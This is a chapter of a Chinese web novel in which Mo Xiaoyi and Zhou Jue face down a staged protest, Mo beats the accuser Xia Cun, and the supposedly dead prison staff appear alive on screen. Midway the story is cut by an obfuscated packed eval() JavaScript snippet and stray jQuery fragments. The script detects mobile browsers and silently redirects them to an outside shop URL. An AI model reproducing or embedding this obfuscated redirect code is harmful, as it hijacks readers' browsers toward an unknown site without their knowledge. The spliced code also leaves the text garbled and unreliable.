文趣网 > 其他小说 > 少年心理师 > 61. 《少年心理师
    如果有人问:如今的炎华,谁最出名?

    那么答案绝非什么四大天王,超男快女,也不是什么体坛健将,艺术先锋。

    而是众所皆知的两个人——周觉和莫晓乙。

    周大警监冲冠一怒为晓乙的故事已经家喻户晓,所有与两人相关的视频照片都被翻了出来。就连周觉十八岁生日宴上,两人“携手”离去的一幕也被曲解放大,跌碎了不知多少颗少女芳心?

    尤其莫晓乙曾经饰演的十八,更是让无数人惊艳晕眩。再加上他在米空岛事件中的超卓表现,面对非人僵尸时的淡定从容,还有他那被无知闲人们极度扭曲夸张了的催眠术,给他的身上增添了无数神秘的光环。

    其实最关键的是,周觉清华高贵,如神祗王孙;莫晓乙飘逸俊美,恍若世外之人。两人并肩而立的时候,其赏心悦目的程度,绝对可以媲美最最清新唯美的水天风景图。

    所以此次事件以一种前所未有的,可以说是吓人的速度飞快蹿红。

    网络搜索率第一,网络关注度第一,网络人气榜上两人更是遥遥领先,毫无疑议地高居榜首。

    聪明的商家们立刻从中发现商机,所有广告牌上的明星们都被撤了下来,换上两人的大幅照片。所有街头的电视广告播放的都是与两人相关的视频和新闻。就连许多的店面招牌也与时俱进,全都改了:什么晓乙咖啡厅,晓乙饰品店,晓乙包子店,甚至还有晓乙西瓜店,晓乙内衣店,宛如雨后春笋般相继冒出来。

    周觉那边更是闹心,警监大酒吧、警监器材店、警监袜子店也就罢了,最过分的就是那家警监情趣用品店。当周觉开车经过的时候,若非莫晓乙死命拦着,他非把这家的招牌砸得粉碎不可。

    两人的照片也被PS成无数版本,遍布晨曦的大街小巷:两人举杯对饮的,两人深情相视的,两人漫步花丛的……

    一家蛋糕店尤其创新,竟然将莫晓乙缩成草莓形状摆到蛋糕尖上,而旁边的周觉正拿起勺子,准备大朵快颐。至于那些鲜花店婚纱店什么的,若是没摆上几张周觉和莫晓乙的婚照,简直都不好意思开张做生意。

    最有想法的是一家冷饮店老板,将冰激凌纸杯上的卡通老鼠统统换成了周觉和莫晓乙,竟然大受欢迎。其他店也纷纷效仿,于是杯子、盘子、枕头、垫子、书包、皮夹,甚至纸巾、鼠标垫和钥匙扣,都印上了两人的图像。

    有人或许会问:这不是明显的侵权吗?

    精明的店家们却有自己的理由:首先,法不责众。其次,如今的周警监自顾不暇,哪有功夫理会这种小事?

    所以当某一天,周觉在谢子博的办公室看到印着自己形象的靠垫之后,什么话都没说。回去之后,立刻定制了几十个谢子博形象的练拳沙包,摆满了他的健身房。让谢子博大为郁闷,这家伙的报复心未免太强烈了,自己只是偶尔靠靠他,他却每天都要揍自己。

    几乎快要爆棚的人气和声势,就连炎华总统周海宵也被惊动了。他坐在办公室里,快速浏览着相关信息,越看心里越恼:“这都是些什么乱七八糟的?”

    秘书却忧心忡忡地望向窗外:“周总统……不如命特警队过来,将他们驱散,总这样下去不是办法呀?”

    “不许去!”周海宵一拍桌子,“既然是臭小子惹得祸,就让他自己去解决。他都多大了,还让我这个当爹的替他擦屁股?”

    “可是……”

    “没什么可是的!吩咐下去,谁也不许动,该做什么就做什么,随便他们闹!”

    秘书无奈地退了出去,周海宵看着某网站首页上,笑容无比灿烂的周觉和莫晓乙,轻轻叹息:“这俩孩子,怎么就没一刻让人省心呢?”

    总统府外,已经是人山人海,摩肩接踵。

    到处是攒动的人头,熙熙攘攘,好像全世界的人都跑来这里,黑压压的,一眼望不到边际。

    大大小小的摄像头闪光灯就像不要钱似的疯狂闪烁,那些记者们一个个仿佛打了鸡血,满脸兴奋的潮红,在拥挤的人潮中颠簸起伏,不畏艰险,奋勇向前。只要发现一丝空隙,便拼命按动快门,唯恐落后一步。

    所有一切,都是因为广场中央那几十个长跪不起的人。

    这些人有老有少,有男有女,表情或悲戚,或怨愤,每个人的双手上都捧着一幅巨大的黑白照片。

    照片上那一张张年轻鲜活的面孔,却因为沉重暗淡的黑白色调显出几分肃穆和压抑。

    这些人的正前方,夏存神情亢奋,面孔扭曲,慷慨激昂地向着大众宣讲:“诸位朋友,这些照片中,有在那场大火中无辜死去的刑犯,也有我曾经的战友。这么多年,他们与我朝夕相处,并肩而战,前些天还在谈笑风生,今天却已身化飞灰,永远地躺在那片冰冷的土地上。没人记得他们是谁?也没人记得他们曾经为这个国家做过什么?

    而我们的周大警监,直到现在,他都不敢走出来,睁大眼睛看看这些因为他,失去孩子,失去丈夫,失去父亲的人们!

    他们到底做错了什么?要承受这种锥心刺骨的丧亲之痛?

    我们今天聚集到这里,不是为了向政府示威,更不是为了掀动舆论,我们只是要求一个公道!王子犯法,尚与庶民同罪!小小警监,又凭什么凌驾于法律之上?

    难道就因为他有一个总统父亲,就可以肆意妄为,罔顾人权吗?

    今天,他可以为了一个男人毁掉数千条人命!将来,他必然也会为了更深厚的利益,舍弃整个炎华,舍弃所有国民!这样的警监,我们不敢要!”

    他的话音刚落,人群中间就是一阵骚动,一队全副武装的防爆特警由外向内,迅速插入,硬生生地将人群分开一条通路。

    一辆黑色轿车缓缓驶入,停在特警们开辟出来的空地上。

    车门打开,周觉和莫晓乙相继走出。

    两人刚一露面,人群就沸腾了,兴奋的尖叫声此起彼伏。

    那些记者更是和疯了一样,拼命向着两人涌去。却被特警们用盾牌牢牢地挡在外围,无法近身,只能伸长脖子,竭尽全力地将麦克风举向两人:“周警监,您将如何回应此次事件?”

    “莫先生,您和周警监到底什么关系?”

    “周警监,您会引咎辞职吗?”

    “莫先生,此次经历,会不会给您造成无法弥补的心灵创伤?”

    “周警监……”

    “莫先生……”

    没等周觉说话,莫晓乙便微微一笑,竖起食指抵在嘴唇上,做了一个噤声的手势——

    嘘。

    虽是浅浅一笑,却像阳光般绚丽明媚,又如风烟般恍惚迷离,瞬间看呆了所有人。

    喧闹的场面,立时静寂了许多。

    万众瞩目中,莫晓乙大步走向夏存。

    夏存冷笑,眼底煞气四溢。

    莫晓乙却笑容灿烂:“夏队长,听说鄙人在监狱里受尽凌辱,下场极惨,是吗?”

    夏存眼里闪过一丝嘲弄:“莫先生,对你的遭遇我深表同情,可惜我也……”

    “也”字还没出口,他就突然感觉眼前一阵天旋地转,不知怎么,人已经被翻转了三百六十度,恶狠狠地拍向青石地面,来了一次实打实的肉石大碰撞。一时之间,好像全身的骨头都被撞碎,疼得他鼻涕眼泪齐涌,就连喘气都带着血腥味。

    恍惚间,似乎听到莫晓乙清淡好听的声音:“这一摔,叫弱质芊芊。”

    没等他反应过来,太阳穴便又挨了一记,嗡的一声,脑袋里好像突然多了一万只苍蝇在飞,胡冲乱撞,撞得他东南西北都找不到了。

    “这一拳,叫如花似玉!”

    随后,胸腹一阵剧痛,夏存的身体再一次被高高抛起,又重重落下,在地上滚了几滚,狂喷了好几口鲜血,才堪堪停下。

    这时的夏存,已经是出气多,入气少了。

    宽大的风衣随着莫晓乙的动作扬起又落下,他右脚毫不留情地踩住夏存脑袋,脸上却是笑意盈盈:“这一脚,叫雌雄莫辩。”

    周觉大汗,这三个词都是夏存用来形容莫晓乙的,现在一个不落,全给还回去了!

    莫晓乙不经意地掸掸衣袖,仿佛怕自己的衣襟沾染了血污和尘埃:“不好意思,很久没有揍人了,所以力度控制得不是很好,希望夏队长不要介意。”

    如果说刚才只是安静,那么此时此刻,偌大的广场简直就是寂静如死,落针可闻。

    某些人的眼珠子几乎要瞪出眼眶。

    如果这种也能叫“弱”,那世上还有强者的存在吗?

    疑问不由自主涌上所有人的心头:这样一个强横的所在,就连特种精英夏存在他面前都没有还手之力,又怎么可能在监狱里受尽凌辱而不反抗?

    一声女孩的尖叫骤然刺破了所有人的耳膜:“莫晓乙,我爱你,爱死你了!”

    莫晓乙刚想回以微笑,女孩接下来喊的话却立时让他黑了脸:“你才不是弱受,你是宇宙无敌霸王受!”

    这一嗓子就像导火索,更多人的热情被引燃,场面比之前还要火爆:“哇,酷毙了!”

    “打得好,揍死他!”

    “小莫莫,我要给你生猴子!”

    “那个姓夏的也未免太菜了吧,就这样的还想做单兵之王?”

    “莫先生,您当众伤人,难道就不怕引起众怒吗?”

    “莫先生,您这是报复吗?”

    淆乱之中,原本跪在地上的一个中年女人满脸惊慌地冲向夏存:“夏先生,您没事吧?”然后抬起头怒视莫晓乙:“你凭什么出手伤人?夏先生只是想为我们讨回公道,他有什么错?”

    莫晓乙看看女人手里的照片:“您是林易林管教的母亲吧?”

    女人愤怒地点点头:“不错,我的儿子就是被你们害死的林易!他还那么年轻,却这样不明不白地死了,我一定要为他讨个说法!”

    旁边的周觉突然插话:“谁说他死了?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724665|208808||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    随后,他就拿出一个遥控器,对准广场一侧的超大显示屏,轻轻一按。

    屏幕渐渐亮了起来,显出一张极为清晰的面孔,赫然就是第六监狱的管教林易。

    他正斜靠在病床上,精神显得非常不错,只是好像被眼前的场面吓了一跳:“哇,这么多人!”

    中年女人骤然尖叫一声,疯狂地扑向屏幕:“小易,小易!”

    林易也随之惊跳起来,整张脸几乎贴到屏幕上,以至于睫毛的震颤,鼻孔的翕动都被众人看得清清楚楚:“妈,你怎么也在那里?”

    林母立刻捶胸顿足地哭号起来:“你这个死孩子,我以为你被那个周警监给害死了……所以听了夏队长的话,为你讨回公道!”

    砰得一声,也不知道林易拍到了什么东西,他激动地站起身:“妈,你怎么能听那个混蛋胡说八道?周警监怎么会害我?相反,若不是他拼死相救,你儿子现在连骨头都烂掉了。”

    林母愕然,连忙擦去眼泪:“小易,到底是什么回事?”

    林易一脸愤怒:“早在好几年前,监狱就爆发了一种新型病毒,就连监狱长裘立也无法幸免。可那个裘立害怕承担罪责,更怕失去好不容易得来的监狱长职位,最后竟然选择隐瞒不报,还将我们变相软禁,各种威逼利诱,不许我们泄露机密。周警监和莫先生不知从哪里得到消息,为了搜集证据,所以才冒险进入第六监狱。却没想到,这种病毒突然大肆爆发,许多管教和犯人不治身亡。夏存那个混蛋见势不妙,竟然在毁掉监狱的中枢指挥系统之后,又放了一把火,将监狱大门紧紧封闭,想把所有人烧死在里面,毁尸灭迹,他自己却驾车跑掉。幸好周警监舍命相救,将我们这些还活着的人一个一个地带出了监狱……”

    众人正在为事情真相感到无比震惊的时候,屏幕内突然又挤入另外一张年轻的面孔,竟是那个超级崇拜周觉的小武警。

    他比林易还要激动,眼睛里更是泪光闪闪:“为了救我们,周警监几次险死还生,差点就……他派战斗机焚烧监狱,也是唯恐这种病毒随着那些尸体和生物们传播开去,危害更多人,没想到……”他咬牙切齿地大骂:“夏存,你这个无耻的混蛋,害了我们还不够,竟敢对周警监反咬一口,我和你……势不两立!”

    他突然转回头,不知在向谁说话:“兄弟们,为了救我们这些人,周警监差点送命,事后又蒙受了如此大的冤屈,我们别的做不了,却至少可以做到一样:那就是当众致谢,为他正名。”

    之后,他努力站直身体,挺胸抬头,举手齐眉,向着周觉行了一个绝对标准的军礼:“谢谢,周警监。”

    屏幕轻轻晃动,转向他身后的一排病床,所有武警都穿着病号服,仰躺在病床上,却拼命抬高身体,探起脑袋,向着屏幕方向齐齐敬礼:“谢谢,周警监。”

    周觉立刻双膝并拢,严肃回礼:“不必客气,职责所在,义不容辞。”

    “好!”

    不知是谁,突然叫了一声好,用力鼓起掌来。随后更多的掌声响起,恍如潮水一般,迅速传荡开去,一波猛似一波,瞬间就席卷了整个广场。

    这是谢子博所能想到的对公众最合理,也是最接近真相的解释,毕竟裘立变身为怪物的事实,反而容易引发更多的质疑和恐慌。

    很多时候,事实远比谎言更加荒谬,也更加让人难于接受。

    这已经是最好的结局了。

    随着镜头缓缓移动,一张张清晰的面孔逐渐显现在屏幕上,一声声喜极而泣的呼唤也随之响起:“东子!东子!是东子!”

    “立伟!真的是你?”

    “明明!你还活着!”

    “强国!强国,我的强国啊!!!”

    观众们越发沸腾起来,那些记者们更是一个个将麦克风摄像头举得老高,拼命向着“死难者”家属挤去:“面对死而复生的亲人,请问您此时此刻有什么感想?”

    “您有什么话想对周警监说吗?”

    “您在聚众示威之前,有没有想过事情会如此逆转?”

    林母却傻愣愣地立在那里,一点反应都没有。很突然的,她转身冲向夏存,对着他就是一阵乱捶:“你这个杀千刀的,差点害了我的孩子,还敢骗我去诬陷好人!”

    其余家属也反应过来,立刻群情激奋,一拥而上,将夏存团团包围起来。拳头不给力,直接用脚踹,有的连孩子遗像都被当作武器举了起来,拍得那叫一个欢实!

    原本就迷迷糊糊委顿在地的夏存这一次被彻底打残了,全身上下都找不到一块儿完整的肌肤,脑袋肿得好像猪头一样,眼睛基本找不到了,估计就算他亲妈来了也认不出来了。

    记者们怎么可能错过这千载难逢的一幕,纷纷将镜头对准夏存,咔咔咔一阵狂拍。

    有人还凑热闹地蹲下身子,开始计数:“十、九、八、七、六、五……”

    夏存,却再也没能起身,甚至可能永远都起不来了。